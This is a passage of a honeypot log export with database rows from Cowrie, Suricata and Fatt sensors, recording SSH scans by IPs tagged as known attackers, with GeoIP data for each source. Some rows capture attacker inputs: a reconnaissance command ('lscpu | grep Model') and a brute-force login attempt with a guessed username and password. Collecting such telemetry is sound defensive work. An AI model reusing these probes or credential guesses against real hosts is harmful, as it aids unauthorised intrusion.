36092	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:44.93744+03	2021-09-20 15:15:04.120694+03	{"_id": "NQYeA3wBvYTbRNuEimDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f410f1ec48f1", "@version": "1", "timestamp": "2021-09-20T12:11:44.937440Z", "@timestamp": "2021-09-20T12:11:44.937Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36093	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:31.211353+03	2021-09-20 15:15:04.122692+03	{"_id": "EwYeA3wBvYTbRNuEVGAs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 32 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 32.21390628814697, "timestamp": "2021-09-20T12:11:31.211353Z", "@timestamp": "2021-09-20T12:11:31.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IN
36094	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:32.651638+03	2021-09-20 15:15:04.123719+03	{"_id": "IAYeA3wBvYTbRNuEWmBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.88.168.246", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34081, "timestamp": "2021-09-20T12:11:32.651638", "@timestamp": "2021-09-20T12:11:32.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36095	5.88.168.246	109.199.241.180	Cowrie	2021-09-20 15:11:32.711121+03	2021-09-20 15:15:04.125691+03	{"_id": "IgYeA3wBvYTbRNuEW2D-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.88.168.246", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "15b5c1cb4b7c", "@version": "1", "timestamp": "2021-09-20T12:11:32.711121Z", "@timestamp": "2021-09-20T12:11:32.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IT
36096	5.88.168.246	109.199.241.180	Cowrie	2021-09-20 15:11:34.1288+03	2021-09-20 15:15:04.126689+03	{"_id": "IwYeA3wBvYTbRNuEX2Dm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "5.88.168.246", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "15b5c1cb4b7c", "@version": "1", "duration": 1.4781646728515625, "timestamp": "2021-09-20T12:11:34.128800Z", "@timestamp": "2021-09-20T12:11:34.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IT
36098	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:30.89467+03	2021-09-20 15:15:04.12969+03	{"_id": "EAYeA3wBvYTbRNuEVGAs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:30.894670Z", "@timestamp": "2021-09-20T12:11:30.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36099	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:31.206877+03	2021-09-20 15:15:04.13069+03	{"_id": "EQYeA3wBvYTbRNuEVGAs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "43.240.6.90", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.3122882843017578, "duplicate": true, "timestamp": "2021-09-20T12:11:31.206877Z", "@timestamp": "2021-09-20T12:11:31.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36100	5.88.168.246	109.199.241.180	Cowrie	2021-09-20 15:11:32.65098+03	2021-09-20 15:15:04.13169+03	{"_id": "FgYeA3wBvYTbRNuEWGAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "5.88.168.246", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "15b5c1cb4b7c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:11:32.650980Z", "@timestamp": "2021-09-20T12:11:32.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IT
36101	5.88.168.246	109.199.241.180	Suricata	2021-09-20 15:11:32.71048+03	2021-09-20 15:15:04.13269+03	{"_id": "GAYeA3wBvYTbRNuEWWAt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:11:32.581824+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "5.88.168.246", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 462408970985664, "payload": "AAADzAYUfdPT8ge3NfFUYSCS/P4rvQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34081, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:11:32.710480Z", "@timestamp": "2021-09-20T12:11:32.710Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......}.....5.Ta ...+....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	IT
36102	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:30.895212+03	2021-09-20 15:15:04.133689+03	{"_id": "EgYeA3wBvYTbRNuEVGAs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:30.895212Z", "@timestamp": "2021-09-20T12:11:30.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36103	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:11:31.386208+03	2021-09-20 15:15:04.135691+03	{"_id": "FAYeA3wBvYTbRNuEVGAs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d49a83c7af69", "@version": "1", "duration": 1.3866517543792725, "timestamp": "2021-09-20T12:11:31.386208Z", "@timestamp": "2021-09-20T12:11:31.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36104	5.88.168.246	109.199.241.180	Cowrie	2021-09-20 15:11:32.647902+03	2021-09-20 15:15:04.136691+03	{"_id": "FQYeA3wBvYTbRNuEWGAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "5.88.168.246", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.88.168.246:34081 (192.168.176.2:22) [session: 15b5c1cb4b7c]", "session": "15b5c1cb4b7c", "@version": "1", "protocol": "ssh", "src_port": 34081, "dest_port": 22, "timestamp": "2021-09-20T12:11:32.647902Z", "@timestamp": "2021-09-20T12:11:32.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IT
36105	5.88.168.246	109.199.241.180	Suricata	2021-09-20 15:11:32.709607+03	2021-09-20 15:15:04.137691+03	{"_id": "GQYeA3wBvYTbRNuEWWAt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "5.88.168.246", "dest_ip": "192.168.20.116", "flow_id": 462408970985664, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34081, "dest_port": 22, "timestamp": "2021-09-20T12:11:32.709607Z", "@timestamp": "2021-09-20T12:11:32.709Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IT
36106	5.88.168.246	109.199.241.180	Fatt	2021-09-20 15:11:32.71048+03	2021-09-20 15:15:04.13969+03	{"_id": "HAYeA3wBvYTbRNuEWmBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "5.88.168.246", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34081, "dest_port": 22, "timestamp": "2021-09-20T12:11:32.710480", "@timestamp": "2021-09-20T12:11:32.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IT
36107	5.88.168.246	109.199.241.180	Cowrie	2021-09-20 15:11:33.063016+03	2021-09-20 15:15:04.14069+03	{"_id": "IQYeA3wBvYTbRNuEW2D9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.88.168.246", "asn": 30722, "as_org": "Vodafone Italia S.p.A.", "latitude": 38.6875, "location": {"lat": 38.6875, "lon": 16.5419}, "timezone": "Europe/Rome", "city_name": "Soverato Marina", "longitude": 16.5419, "postal_code": "88068", "region_code": "CZ", "region_name": "Provincia di Catanzaro", "country_name": "Italy", "country_code2": "IT", "country_code3": "IT", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "5.88.168.246", "eventid": "cowrie.login.failed", "message": "login attempt [al/al123] failed", "session": 